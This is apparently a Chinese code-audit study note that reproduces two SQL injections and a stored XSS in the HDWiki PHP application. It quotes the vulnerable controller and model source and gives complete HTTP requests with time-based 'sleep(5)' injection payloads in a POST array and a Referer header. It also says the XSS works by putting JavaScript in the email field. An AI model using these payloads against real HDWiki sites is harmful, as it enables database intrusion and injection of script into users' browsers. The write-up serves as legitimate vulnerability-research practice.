0x01 前言
学代码审计嘛。最重要的是多看别人的审计思路,还有就是自己也跟着审,跟着追函数。
这不,我又来跟着审了。这次的是复现HDWIKI的SQL注入以及XSS
0x02 过程
1.SQL注入
该漏洞位于 HDWiki/control/edition.php 文件的 docompare() 函数。在该文件的144行中对 post 请求的参数进行了判断。但是嘛,在147行的代码中,用了 array_slice() 函数,该函数的作用是从数组中移除元素,并返回所移除的元素。这里有一点很重要,POST传入参数的时候,并不会对键进行排序,传入的时候是什么顺序,接收到的就是什么顺序,这也就是说,只要我们让eid[0],eid[1]通过检测,而在下面取POST值的时候取到我们需要注入的代码就可以了。
<?php
// 省略号
function docompare(){
if(!empty($this->setting['check_useragent'])) {
$this->load('anticopy');
if(!$_ENV['anticopy']->check_useragent()){
$this->message('禁止访问','',0);
}
}
if(!empty($this->setting['check_visitrate'])) {
$this->load('anticopy');
$_ENV['anticopy']->check_visitrate();
}
if ($this->get[4] == 'box'){
@header('Content-type: text/html; charset='.WIKI_CHARSET);
if(!@is_numeric($this->get[2])||!@is_numeric($this->get[3])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$did = $this->get[2];
$eid = $this->get[3];
$edition = array();
$editions=$_ENV['doc']->get_edition_list($did,'`time`,`authorid`,`author`,`words`,`images`,`content`', $eid);
$this->view->assign('edition',$editions);
$this->view->display('comparebox');
exit;
}
if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$edition=$_ENV['doc']->get_edition(array_slice($this->post['eid'], 0, 2));
if($edition[0]['did']!=$edition[1]['did']){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$doc=$this->db->fetch_by_field('doc','did',$edition[0]['did']);
$doc['rawtitle']=$doc['title'];
if(@$doc['visible']=='0'&&!$this->checkable('admin_doc-audit')){
$this->message($this->view->lang['viewDocTip4'],'index.php',0);
}
$edition[0]['tag']=$_ENV['doc']->spilttags($edition[0]['tag']);
$edition[0]['editions']=$this->post['editions_'.$edition[0]['eid']];
$edition[1]['tag']=$_ENV['doc']->spilttags($edition[1]['tag']);
$edition[1]['editions']=$this->post['editions_'.$edition[1]['eid']];
$doc['title']=$edition[0]['title'];
$doc['did']=$edition[0]['did'];
$this->view->assign('doc',$doc);
$this->view->assign('edition',$edition);
//$this->view->display('compare');
$_ENV['block']->view('compare');
}
我们在来看看 get_edition() 函数,该函数不会对传入的参数进行过滤。所以我们只需要找到怎么调用docompare函数就好了。
<?php
/ 省略号
function get_edition($eid){
$editionlist=array();
if(is_numeric($eid)){
$edition= $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid=$eid");
if($edition){
$edition['comtime']=$edition['time'];
$edition['time']=$this->base->date($edition['time']);
$edition['rawtitle']=$edition['title'];
$edition['title']=htmlspecial_chars($edition['title']);
if(!$edition['content']){
$edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
}
}
return $edition;
}else{
$eid=implode(",",$eid);
echo " SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)";
$query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");
while($edition=$this->db->fetch_array($query)){
$edition['time']=$this->base->date($edition['time']);
$edition['rawtitle']=$edition['title'];
$edition['title']=htmlspecial_chars($edition['title']);
if(!$edition['content']){
$edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
}
$editionlist[]=$edition;
}
return $editionlist;
}
}
我们来看下 HDWiki/model/hdwiki.class.php 中的 run() 函数.该函数会取查询字符串的第一个值作为文件名,第二个值作为函数名。具体的话可以看 init_request() load_control() 两个函数。
<?php
!defined('IN_HDWIKI') && exit('Access Denied');
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
require HDWIKI_ROOT.'/config.php';
require HDWIKI_ROOT.'/lib/string.class.php';
require HDWIKI_ROOT.'/model/base.class.php';
class hdwiki {
var $get = array();
var $post = array();
var $querystring;
function hdwiki() {
$this->init_request();
$this->load_control();
}
function init_request(){
if (!file_exists(HDWIKI_ROOT.'/data/install.lock')) {
header('location:install/install.php');
exit();
}
header('Content-type: text/html; charset='.WIKI_CHARSET);
$querystring=str_replace("'","",urldecode($_SERVER['QUERY_STRING']));
if(strpos($querystring , 'plugin-hdapi-hdapi-default') !== false){
$querystring=str_replace('plugin-hdapi-', '', $querystring);
}
$pos = strpos($querystring , '.');
if($pos!==false){
$querystring=substr($querystring,0,$pos);
}
$this->get = explode('-' , $querystring);
if (count($this->get) <= 3 && count($_POST) == 0 && substr($querystring, 0, 6) == 'admin_' && substr($querystring, 0, 10) != 'admin_main'){
$this->querystring = $querystring;
}
if(empty($this->get[0])){
$this->get[0]='index';
}
if(empty($this->get[1])){
$this->get[1]='default';
}
if(count($this->get)<2){
exit(' Access Denied !');
}
//unset($_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);
$this->get = string::haddslashes($this->get,1);
$this->post = string::haddslashes($_POST);
$_COOKIE = string::haddslashes($_COOKIE);
$this->checksecurity();
$remain=array('_SERVER','_FILES','_COOKIE','GLOBALS','starttime','mquerynum');
foreach ($GLOBALS as $key => $value){
if ( !in_array($key,$remain) ) {
unset($GLOBALS[$key]);
}
}
}
function load_control(){
if($this->get[0]=='plugin'){
if(empty($this->get[2])){
$this->get[2]=$this->get[1];
}
if(empty($this->get[3])){
$this->get[3]='default';
}
$pluginfile=HDWIKI_ROOT.'/plugins/'.$this->get[1].'/control/'.$this->get[2].'.php';
if(false===@include($pluginfile)){
$this->notfound('plugin control "'.$this->get[2].'" not found!');
}
$this->get=array_slice($this->get,2);
}else{
$controlfile=HDWIKI_ROOT.'/control/'.$this->get[0].'.php';
if(false===@include($controlfile)){
$this->notfound('control "'.$this->get[0].'" not found!');
}
}
}
function run(){
$control = new control($this->get,$this->post);
if ($this->querystring){
$control->hsetcookie('querystring',$this->querystring, 3600);
}
$method = $this->get[1];
$exemption=true; //免检方法的标志,免检方法不需要经过权限检测
if('hd'!= substr($method, 0, 2)){
$exemption=false;
$method = 'do'.$this->get[1];
}
if ($control->user['uid'] == 0 && $control->setting['close_website'] === '1' && strpos('dologin,dologout,docheckusername,docheckcode,docode',$method) === false
){
exit($control->setting['close_website_reason']);
}
if(method_exists($control, $method)) {
$regular=$this->get[0].'-'.$this->get[1];
$querystring=implode('-',$this->get);
$isadmin= ('admin'==substr($this->get[0],0,5));
if($exemption || $control->checkable($querystring) || $control->checkable($regular)){
$control->$method();
}else{
$control->message($regular.$control->view->lang['refuseAction'],'', $isadmin);
}
}else {
$this->notfound('method "'.$method.'" not found!');
}
}
function notfound($error){
@header('HTTP/1.0 404 Not Found');
exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><p> $error </p></body></html>");
}
function checksecurity() {
$check_array = array(
//于get请求 需要检查哪些关键词
'get'=>array('cast', 'exec','show ','show/*','alter ','alter/*','create ','create/*','insert ','insert/*', 'select ','select/*','delete ','delete/*','update ', 'update/*','drop ','drop/*','truncate ','truncate/*','replace ','replace/*','union ','union/*','execute', 'from', 'declare', 'varchar', 'script', 'iframe', ';', '0x', '<', '>', '\\', '%27', '%22', '(', ')'),
);
foreach ($check_array as $check_key=>$check_val) {
if(!empty($this->$check_key)) {
foreach($this->$check_key as $getvalue) {
foreach ($check_val as $invalue) {
if(stripos($getvalue, $invalue) !== false){
$this->notfound('page is not found!');
//exit('No Aceess!注意敏感词!');
}
}
}
}
}
}
}
?>
构造好的PayLoad如下
POST /HDWIKI/index.php?edition-compare HTTP/1.1
Host: 192.168.0.110
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=55n2of2u104h4k842gv81j4o96; hd_sid=Ev57Fc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
eid[3]=10) and sleep(5)#&eid[0]=0&eid[1]=1
第二处SQL注入位于 HDWiki/control/user.php 的 dologin() 函数。该漏洞的利用条件是PHP小于5.4且开启了GPC。问题出在 $_ENV[‘user’]->add_referer(); 这一伪造
<?php
function dologin(){
$_ENV['user']->passport_server('login','1');
if(!isset($this->post['submit'])){
$this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);
$_ENV['user']->add_referer();
$_ENV['user']->passport_server('login','2');
$_ENV['user']->passport_client('login');
if (!isset($this->setting['name_min_length'])) {$this->setting['name_min_length'] = 3;}
if (!isset($this->setting['name_max_length'])) {$this->setting['name_max_length'] = 15;}
$loginTip2 = str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']);
$this->view->assign('name_min_length',$this->setting['name_min_length']);
$this->view->assign('name_max_length',$this->setting['name_max_length']);
$this->view->assign('loginTip2',$loginTip2);
//$this->view->display('login');
$_ENV['block']->view('login');
}else{
if (!$this->check_csrf_token()){
$this->message('缺少TOKEN参数', 'BACK',$this->post['indexlogin']?2:0);
}
$username=string::hiconv(trim($this->post['username']));
$password=md5($this->post['password']);
$error=$this->setting['checkcode']!=3?$this->docheckcode($this->post['code'],1):'OK';
if($error=='OK'){
// LDAP 登录检测
$ldap_login = $_ENV['user']->ldap_login($username,$this->post['password']);
if(!empty($ldap_login) && is_array($ldap_login)) {
if(1 !== $ldap_login['status']) {
$this->message($ldap_login['message'], 'BACK',$this->post['indexlogin']?2:0);
}
}
// LDAP 登录检测 结束
$user=$this->db->fetch_by_field('user','username',$username);
if ($this->setting['close_website'] === '1' && $user['groupid'] != 4){
@header('Content-type: text/html; charset='.WIKI_CHARSET);
exit($this->setting['close_website_reason']);
}
//eval($this->plugin["ucenter"]["hooks"]["login"]);//UC返回登录js代码,退出了。
UC_OPEN && $_ENV['ucenter']->login($username);
if(is_array($user)&&($password==$user['password'])){
if($this->time>($user['lasttime']+24*3600)){
$user['credit1'] += $this->setting['coin_login'];
$user['credit2'] += $this->setting['credit_login'];
$_ENV['user']->add_credit($user['uid'],'user-login',$this->setting['credit_login'], $this->setting['coin_login']);
}
$_ENV['user']->update_user($user['uid'],$this->time,$this->ip);
$_ENV['user']->refresh_user($user['uid']);
$_ENV['user']->passport_server('login','3',$user);
$newpms=$_ENV['global']->newpms($this->user['uid']);
$adminlogin=$this->checkable('admin_main-login');
if($this->post['indexlogin']==1){
$usergroup=$this->db->fetch_by_field('usergroup','groupid',$user['groupid'],'grouptitle');
$user['grouptitle'] = $usergroup['grouptitle'];
$user['image'] = ($user['image'])?$user['image']:'style/default/user_l.jpg';
$user['news'] = $newpms[0];
//公共短消息个数
$user['pubpms'] = $newpms[3];
$user['adminlogin'] = $adminlogin;
unset($user['signature']);
//channel
$user['channel'] = '';
foreach($this->channel as $channel){
$user['channel'].='<li class="l bor_no"><a href="'.$channel['url'].'" target="_blank">'.$channel['name'].'</a></li>';
}
$data='{';
foreach($user as $key=>$value){
$data.=$key.":'".$value."',";
}
$data=substr($data,0,-1).'}';
$this->message($data,"",2);
}else{
$this->view->assign('user',$this->user);
$this->view->assign('newpms',$newpms);
$this->view->assign('adminlogin',$adminlogin);
$this->message($this->view->lang['loginSuccess'],$_ENV['user']->get_referer() ,0);
}
}else{
$this->message($this->view->lang['userInfoError'],'BACK',$this->post['indexlogin']?2:0);
}
}else{
$this->message($error, 'BACK',$this->post['indexlogin']?2:0);
}
}
}
我们跟进去看看。可以看到该处是直接拼接的SQL语句,我们在跟进去 string::haddslashes 看看
<?php
function add_referer(){
if($_SERVER['HTTP_REFERER']){
$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
}
}
当GPS没开启的时候回使用 addslashes 来过滤参数,但是如果GPC开启了话就会直接返回字符串。
<?php
function haddslashes($string, $force = 0) {
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = string::haddslashes($val, $force);
}
}else {
$string = addslashes($string);
}
}
return $string;
}
我们来构造Payload
GET /HDWIKI/index.php?user-login HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
Origin: http://192.168.0.110
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.110/HDWIKI/index.php?user-register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Referer: ' where uid=sleep(5)#
Cookie: bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=55n2of2u104h4k842gv81j4o96; hd_sid=Ev57Fc
Connection: close
2.存储型XSS
该漏洞位于 HDWiki/control/user.php 的 doregister 函数。
<?php
}else{
$username=trim($this->post['username']);
$password=$this->post['password'];
$repassword=$this->post['repassword'];
$email=trim($this->post['email']);
$code=$this->setting['checkcode']!=3?trim($this->post['code']):'';
$error=$this->docheck($username,$password,$repassword,$email,$code);
if($error=='OK'){
在我们上面的代码中,会将 email传入 docheck验证,我们跟进去 docheck看看。
<?php
function docheck($username,$password,$repassword,$email,$code=''){
if(($error=$this->docheckusername($username,1))=="OK"){
if(($error=$_ENV['user']->checkpassword($password,$repassword))=="OK"){
if(($error=$this->docheckemail($email,1))=="OK"){
if($code!=''){
$error=$this->docheckcode($code,1);
}
}
}
}
return $error;
}
docheck 函数将email传进去了docheckmail.由于 UC_OPEN 默认是为空的,所以docheckemail中的 $_ENV[‘ucenter’]->checkemail($msg,$email);并不会运行。
<?php
function docheckemail($email='',$type=0){
$msg="OK";
if($email==''){
$email=$this->post['email'];
}
$lenmax=strlen($email);
if($lenmax<6){
$msg=$this->view->lang['getPassTip2'];
}elseif((bool)$this->db->fetch_by_field('user','email',$email)){
$msg=$this->view->lang['registerTip7'];
}else{
UC_OPEN && $_ENV['ucenter']->checkemail($msg,$email);
}
if($type==1){
return $msg;
}
$this->message($msg,'',2);
}
下面构造Payload的方法就是直接将email设置为Js的代码就可以了。